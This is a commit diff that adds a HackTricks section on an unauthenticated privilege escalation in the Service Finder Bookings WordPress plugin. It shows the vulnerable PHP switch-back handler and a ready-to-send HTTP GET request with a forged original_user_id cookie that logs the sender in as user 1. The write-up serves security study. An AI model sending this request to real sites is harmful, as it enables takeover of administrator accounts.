Merge pull request #1384 from HackTricks-wiki/update_Unpatched_Privilege_Escalation_in_Service_Finder_B_20250904_125030

Unpatched Privilege Escalation in Service Finder Bookings Pl...
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SirBroccoli 2025-09-08 06:02:14 +02:00 committed by GitHub
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@ -608,6 +608,59 @@ add_action( 'profile_update', function( $user_id ) {
---
### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)
Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
```
Why its exploitable
- Public `init` hook makes the handler reachable by unauthenticated users (no `is_user_logged_in()` guard).
- Identity is derived from a client-modifiable cookie (`original_user_id`).
- Direct call to `wp_set_auth_cookie($uid)` logs the requester in as that user without any capability/nonce checks.
Exploitation (unauthenticated)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
```
---
### WAF considerations for WordPress/plugin CVEs
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many highimpact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
@ -722,5 +775,7 @@ The server responds with the contents of `wp-config.php`, leaking DB credentials
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
- [Service Finder Bookings privilege escalation Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
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